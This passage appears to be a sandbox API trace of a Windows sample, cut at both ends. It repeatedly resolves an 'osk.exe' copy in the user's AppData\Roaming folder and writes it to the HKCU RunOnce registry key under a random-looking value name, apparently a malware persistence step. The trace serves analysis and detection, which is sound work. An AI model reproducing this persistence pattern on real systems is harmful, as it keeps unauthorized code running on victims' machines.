Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0255.931] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0255.931] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0255.931] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0255.931] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f330 | out: ppvObject=0x624f330*=0x0) returned 0x80004002 [0255.931] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x9 [0255.931] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x8 [0255.931] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0255.931] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x8 [0255.932] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624f340) returned 0x0 [0255.932] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x7 [0255.932] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.933] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.933] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.933] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.934] RegCloseKey (hKey=0x14c) returned 0x0 [0255.934] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.934] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.945] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.945] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.945] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.947] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0255.947] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f390 | out: ppvObject=0x624f390*=0x0) returned 0x80004002 [0255.947] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x9 [0255.947] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0255.947] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0xa [0255.947] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e02a0) returned 0x0 [0255.947] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x9 [0255.947] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0255.947] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0255.947] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0255.948] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0255.948] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f3b0 | out: ppvObject=0x624f3b0*=0x0) returned 0x80004002 [0255.948] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0xa [0255.948] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x9 [0255.948] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0255.948] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x9 [0255.948] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624f3c0) returned 0x0 [0255.949] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x8 [0255.949] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.949] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.949] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.950] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.950] RegCloseKey (hKey=0x14c) returned 0x0 [0255.950] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.950] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.961] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.961] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.961] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.961] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0255.961] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f410 | out: ppvObject=0x624f410*=0x0) returned 0x80004002 [0255.961] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0xa [0255.961] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0255.961] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0xb [0255.962] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0fc0) returned 0x0 [0255.962] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0xa [0255.962] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0255.962] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0255.962] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0255.962] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0255.962] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f430 | out: ppvObject=0x624f430*=0x0) returned 0x80004002 [0255.962] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0xb [0255.962] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0xa [0255.962] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0255.962] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0xa [0255.963] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624f440) returned 0x0 [0255.963] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x9 [0255.963] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.964] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.964] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.964] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.964] RegCloseKey (hKey=0x14c) returned 0x0 [0255.964] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.965] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.976] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.976] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.977] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.978] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0255.978] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f490 | out: ppvObject=0x624f490*=0x0) returned 0x80004002 [0255.978] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0xb [0255.978] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0255.978] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0xc [0255.978] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0f60) returned 0x0 [0255.978] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0xb [0255.978] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0255.978] FileSystemObject:IUnknown:QueryInterface (in: 